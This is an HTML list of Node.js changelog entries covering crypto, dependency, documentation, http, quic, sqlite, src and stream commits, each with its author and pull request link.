<li>[<a href="https://github.com/nodejs/node/commit/ce84aef37d"><code>ce84aef37d</code></a>] - <strong>crypto</strong>: add guards and adjust tests for BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62883/hovercard">#62883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26781689b0"><code>26781689b0</code></a>] - <strong>crypto</strong>: reject duplicate ML-KEM JWK key_ops (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62905/hovercard">#62905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aeea8f4970"><code>aeea8f4970</code></a>] - <strong>crypto</strong>: add JWK support for ML-KEM and SLH-DSA key types (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62706/hovercard">#62706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/407cf91656"><code>407cf91656</code></a>] - <strong>crypto</strong>: guard against size_t overflow on experimental 32-bit arch (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62626/hovercard">#62626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2857b85a"><code>bb2857b85a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9d5e87880"><code>b9d5e87880</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b46d52b283"><code>b46d52b283</code></a>] - <strong>crypto</strong>: unify asymmetric key import through KeyObjectHandle::Init (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62499" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62499/hovercard">#62499</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccd756d61e"><code>ccd756d61e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e07e7a31e1"><code>e07e7a31e1</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63527/hovercard">#63527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61826df455"><code>61826df455</code></a>] - <strong>crypto</strong>: coerce -0 keylen to +0 in pbkdf2 and scrypt (Jordan Harband) <a href="https://github.com/nodejs/node/pull/63531" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63531/hovercard">#63531</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16d2fd3c07"><code>16d2fd3c07</code></a>] - <strong>crypto</strong>: align verifyOneShot accepted types (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63280" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63280/hovercard">#63280</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b8330deda"><code>3b8330deda</code></a>] - <strong>crypto</strong>: improve system certificate enumeration logic on macOS (Robo) <a href="https://github.com/nodejs/node/pull/62576" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62576/hovercard">#62576</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/141de35399"><code>141de35399</code></a>] - <strong>debugger</strong>: add --help to <code>node inspect</code> and improve docs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63201" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63201/hovercard">#63201</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b76bfcd4fa"><code>b76bfcd4fa</code></a>] - <strong>deps</strong>: upgrade npm to 11.16.0 (npm team) <a href="https://github.com/nodejs/node/pull/63602" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63602/hovercard">#63602</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ec142314c"><code>4ec142314c</code></a>] - <strong>deps</strong>: SQLite: cherry-pick b869ed6b067d623cb1383549f2a18aa35508385d (Junsu Han) <a href="https://github.com/nodejs/node/pull/63525" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63525/hovercard">#63525</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19e8ce1c36"><code>19e8ce1c36</code></a>] - <strong>deps</strong>: upgrade npm to 11.15.0 (npm team) <a href="https://github.com/nodejs/node/pull/63463" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63463/hovercard">#63463</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a264260e2"><code>8a264260e2</code></a>] - <strong>deps</strong>: update sqlite to 3.53.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63217/hovercard">#63217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/50c8ff3f94"><code>50c8ff3f94</code></a>] - <strong>deps</strong>: update simdjson to 4.6.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62811" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62811/hovercard">#62811</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e56f01c4b"><code>6e56f01c4b</code></a>] - <strong>deps</strong>: V8: cherry-pick 435a2cdf664c (Matthias Liedtke) <a href="https://github.com/nodejs/node/pull/63136" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63136/hovercard">#63136</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ba813b242"><code>3ba813b242</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/a43e543/hovercard" href="https://github.com/libuv/libuv/commit/a43e543">libuv/libuv@<tt>a43e543</tt></a> (Ali Hassan) <a href="https://github.com/nodejs/node/pull/63222" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63222/hovercard">#63222</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2390e3a5ac"><code>2390e3a5ac</code></a>] - <strong>doc</strong>: remove duplicated sentences in large-pull-requests.md (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63650/hovercard">#63650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52a1c18374"><code>52a1c18374</code></a>] - <strong>doc</strong>: update <code>git node land</code> instructions for security releases (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63586" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63586/hovercard">#63586</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e6b4da037"><code>3e6b4da037</code></a>] - <strong>doc</strong>: drop --experimental from --permission (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63583" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63583/hovercard">#63583</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84d05163b9"><code>84d05163b9</code></a>] - <strong>doc</strong>: explicitly ask for reproducible in JS (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63479" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63479/hovercard">#63479</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7da2a4450e"><code>7da2a4450e</code></a>] - <strong>doc</strong>: fix URL postMessage example in worker_threads (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62203" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62203/hovercard">#62203</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d79bd8b29"><code>3d79bd8b29</code></a>] - <strong>doc</strong>: clarify <code>filter</code> option of <code>sqlite.database.applyChangeset</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63515" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63515/hovercard">#63515</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4174aace"><code>4f4174aace</code></a>] - <strong>doc</strong>: fix double spaces in ERR_TLS_INVALID_PROTOCOL_METHOD (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63511" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63511/hovercard">#63511</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/388323ca4b"><code>388323ca4b</code></a>] - <strong>doc</strong>: fix double space in modules.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63512/hovercard">#63512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5258ccc058"><code>5258ccc058</code></a>] - <strong>doc</strong>: fix "options" to "option" in tls.createServer (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63453/hovercard">#63453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43e83e6507"><code>43e83e6507</code></a>] - <strong>doc</strong>: fix typo in deprecations (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63434/hovercard">#63434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f05a61d54c"><code>f05a61d54c</code></a>] - <strong>doc</strong>: remove unsupported template type from v8.md (René) <a href="https://github.com/nodejs/node/pull/63410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63410/hovercard">#63410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c39d5fc820"><code>c39d5fc820</code></a>] - <strong>doc</strong>: fix article usage before vowel-sound acronyms (joao-oliveira-softtor) <a href="https://github.com/nodejs/node/pull/62696" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62696/hovercard">#62696</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/398261f911"><code>398261f911</code></a>] - <strong>doc</strong>: remove the bi-monthly contributor spotlight section (Claudio Wunder) <a href="https://github.com/nodejs/node/pull/62734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62734/hovercard">#62734</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd9e14c405"><code>fd9e14c405</code></a>] - <strong>doc</strong>: update http2's <code>push</code> and <code>trailers</code> events with <code>rawHeaders</code> param (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63259/hovercard">#63259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b943ce6933"><code>b943ce6933</code></a>] - <strong>doc</strong>: remove inactive members from Triagers list (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63329" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63329/hovercard">#63329</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b9cdfc022"><code>4b9cdfc022</code></a>] - <strong>doc</strong>: reference correct function in Module docs (Robin Malfait) <a href="https://github.com/nodejs/node/pull/63247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63247/hovercard">#63247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bed84b6df2"><code>bed84b6df2</code></a>] - <strong>doc</strong>: replace Visual Studio 2022 Evergreen version reference with 17.14 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63211" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63211/hovercard">#63211</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ea70569b"><code>32ea70569b</code></a>] - <strong>doc</strong>: recommend explicitly Tier 1 or 2 for production applications (Mike McCready) <a href="https://github.com/nodejs/node/pull/63187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63187/hovercard">#63187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4627bcfd82"><code>4627bcfd82</code></a>] - <strong>doc</strong>: run license-builder (github-actions[bot]) <a href="https://github.com/nodejs/node/pull/63232" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63232/hovercard">#63232</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28eba71845"><code>28eba71845</code></a>] - <strong>doc</strong>: add large pull requests contributing guide (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62829/hovercard">#62829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2648efd438"><code>2648efd438</code></a>] - <strong>doc</strong>: remove unnecessary <code>&lt;!-- eslint-</code> magic comments (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63200" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63200/hovercard">#63200</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a95fc1f8fc"><code>a95fc1f8fc</code></a>] - <strong>doc</strong>: clarify SEA platform support excludes darwin-x64 (MJSHANG) <a href="https://github.com/nodejs/node/pull/63181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63181/hovercard">#63181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aaef29e2e1"><code>aaef29e2e1</code></a>] - <strong>doc</strong>: update release steps when post-release fails (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63131" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63131/hovercard">#63131</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d81419cf2"><code>7d81419cf2</code></a>] - <strong>doc</strong>: add Hmac.digest() documentation-only deprecation (DEP0206) (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63121" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63121/hovercard">#63121</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ececd80d81"><code>ececd80d81</code></a>] - <strong>doc</strong>: document the latest-vX.x schema (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63033/hovercard">#63033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27c1c1d842"><code>27c1c1d842</code></a>] - <strong>doc</strong>: remove list of versions in <code>BUILDING.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63113" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63113/hovercard">#63113</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e369886a65"><code>e369886a65</code></a>] - <strong>doc,sqlite</strong>: document entryPoint argument for loadExtension (Edy Silva) <a href="https://github.com/nodejs/node/pull/63152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63152/hovercard">#63152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4e5137cbd"><code>e4e5137cbd</code></a>] - <strong>errors</strong>: handle V8 warnings in DisallowJavascriptExecutionScope (Divyanshu Sharma) <a href="https://github.com/nodejs/node/pull/63491" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63491/hovercard">#63491</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d1f6048d2"><code>6d1f6048d2</code></a>] - <strong>fs</strong>: make <code>Date</code> properties on <code>Stats</code> enumerable (LiviaMedeiros) <a href="https://github.com/nodejs/node/pull/63328" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63328/hovercard">#63328</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c8ebcbd6"><code>44c8ebcbd6</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9251fc09"><code>4c9251fc09</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add writeInformation to send arbitrary 1xx status codes (Tim Perry) <a href="https://github.com/nodejs/node/pull/63155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63155/hovercard">#63155</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39f61fb06c"><code>39f61fb06c</code></a>] - <strong>http2</strong>: emit session close before stream close (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63414/hovercard">#63414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a8f2127d1"><code>8a8f2127d1</code></a>] - <strong>http2</strong>: validate non-link headers in writeEarlyHints (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62017/hovercard">#62017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c989ec4a3"><code>8c989ec4a3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>inspector</strong>: expose precise coverage start to JS runtime (sangwook) <a href="https://github.com/nodejs/node/pull/63079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63079/hovercard">#63079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c05f38229b"><code>c05f38229b</code></a>] - <strong>lib</strong>: cleanup stateless diffiehellman key handling (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62645/hovercard">#62645</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c16b45d35"><code>1c16b45d35</code></a>] - <strong>lib</strong>: refactor internal webidl converters (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62979" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62979/hovercard">#62979</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02f35d6dce"><code>02f35d6dce</code></a>] - <strong>lib</strong>: define <code>kEnumerableProperty</code> atomically (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63609/hovercard">#63609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12c51547ba"><code>12c51547ba</code></a>] - <strong>lib</strong>: fix typos in esm loader comments (RonGamzu) <a href="https://github.com/nodejs/node/pull/63465" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63465/hovercard">#63465</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b03b84262"><code>9b03b84262</code></a>] - <strong>lib</strong>: fix typo idenity =&gt; identity (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63112/hovercard">#63112</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a84e6b0567"><code>a84e6b0567</code></a>] - <strong>lib</strong>: fixes validator message (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62823/hovercard">#62823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/11734166a8"><code>11734166a8</code></a>] - <strong>lib</strong>: narrow ReadableStreamBYOBRequest.view return type to Uint8Array (RoomWithOutRoof) <a href="https://github.com/nodejs/node/pull/63017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63017/hovercard">#63017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cead61d21"><code>7cead61d21</code></a>] - <strong>meta</strong>: flip mcollina emails in .mailmap (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63621/hovercard">#63621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a08cfcfd35"><code>a08cfcfd35</code></a>] - <strong>meta</strong>: label "source maps" PRs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63591/hovercard">#63591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d56e8d2512"><code>d56e8d2512</code></a>] - <strong>meta</strong>: add <code>vfs</code> subsystem label (René) <a href="https://github.com/nodejs/node/pull/62331" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62331/hovercard">#62331</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6201cfe488"><code>6201cfe488</code></a>] - <strong>meta</strong>: skip scheduled workflows on forks (Jamie Magee) <a href="https://github.com/nodejs/node/pull/63565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63565/hovercard">#63565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f095e2bd31"><code>f095e2bd31</code></a>] - <strong>meta</strong>: add additional gitignore entries (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ea52c444c"><code>1ea52c444c</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63402" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63402/hovercard">#63402</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1b2327611"><code>b1b2327611</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63235" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63235/hovercard">#63235</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d88e130a9"><code>7d88e130a9</code></a>] - <strong>meta</strong>: ignore AI assistants files (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62612" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62612/hovercard">#62612</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a53b51df38"><code>a53b51df38</code></a>] - <strong>module</strong>: load ESM helpers eagerly in the snapshot (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63550/hovercard">#63550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/69df688fff"><code>69df688fff</code></a>] - <strong>module</strong>: fix sync hook short-circuit in require() in imported CJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62920" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62920/hovercard">#62920</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75d9a4ed47"><code>75d9a4ed47</code></a>] - <strong>node-api</strong>: support SharedArrayBuffer in napi_create_typedarray (Yilong Li) <a href="https://github.com/nodejs/node/pull/62710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62710/hovercard">#62710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c20aa4c47b"><code>c20aa4c47b</code></a>] - <strong>quic</strong>: add reusePort option to QuicEndpoint (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26a30d8a7f"><code>26a30d8a7f</code></a>] - <strong>quic</strong>: implement rate limiting for version nego and immediate close (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b534b5770"><code>0b534b5770</code></a>] - <strong>quic</strong>: fixup linting issue after other changes (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b367cbe09"><code>4b367cbe09</code></a>] - <strong>quic</strong>: remove unused binding variable in session.cc (James M Snell) <a href="https://github.com/nodejs/node/pull/63177" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63177/hovercard">#63177</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2574bef5a6"><code>2574bef5a6</code></a>] - <strong>repl</strong>: fix dedup comparing normalized line against raw history (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62886" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62886/hovercard">#62886</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30e71c7e49"><code>30e71c7e49</code></a>] - <strong>sqlite</strong>: keep source database alive during backup (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62673/hovercard">#62673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/677ca7e76c"><code>677ca7e76c</code></a>] - <strong>src</strong>: simplify OpenSSL feature gates (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c863c75c39"><code>c863c75c39</code></a>] - <strong>src</strong>: add BoringSSL EVP enumeration fallback (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63206/hovercard">#63206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6b2466921"><code>f6b2466921</code></a>] - <strong>src</strong>: decouple KeyObject and CryptoKey and move CryptoKey to src (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62924/hovercard">#62924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92d4f07dd2"><code>92d4f07dd2</code></a>] - <strong>src</strong>: remove license headers for new node_profiling files (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63066/hovercard">#63066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ac5d771c8"><code>8ac5d771c8</code></a>] - <strong>src</strong>: split profiling helpers from util (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/63008" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63008/hovercard">#63008</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85d1639495"><code>85d1639495</code></a>] - <strong>src</strong>: remove TOCTOU race condition when encoding SAB-backed <code>Buffer</code>s (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63517/hovercard">#63517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9473c5f05c"><code>9473c5f05c</code></a>] - <strong>src</strong>: skip duplicate UTF-8 validation in TextDecoder fatal path (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63231" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63231/hovercard">#63231</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f35c91ee68"><code>f35c91ee68</code></a>] - <strong>src</strong>: improve token return value check (James M Snell) <a href="https://github.com/nodejs/node/pull/63483" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63483/hovercard">#63483</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26f677c1c5"><code>26f677c1c5</code></a>] - <strong>src</strong>: expose <code>node::RegisterContext</code> to make a node managed context (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62322" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62322/hovercard">#62322</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/275cf909b6"><code>275cf909b6</code></a>] - <strong>src,sqlite</strong>: only pass <code>xFilter</code> when user provided a callback (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63516" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63516/hovercard">#63516</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/287e02303f"><code>287e02303f</code></a>] - <strong>src,sqlite</strong>: remove dead code (Edy Silva) <a href="https://github.com/nodejs/node/pull/63204" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63204/hovercard">#63204</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58fa2ee189"><code>58fa2ee189</code></a>] - <strong>stream</strong>: switch to internal <code>sleep</code> binding (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63611" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63611/hovercard">#63611</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f954ab3f1a"><code>f954ab3f1a</code></a>] - <strong>stream</strong>: use data listener for compose forwarding (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63593/hovercard">#63593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc57173003"><code>dc57173003</code></a>] - <strong>stream</strong>: fix Writable.toWeb() hang on synchronous drain (sangwook) <a href="https://github.com/nodejs/node/pull/61197" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61197/hovercard">#61197</a></li>
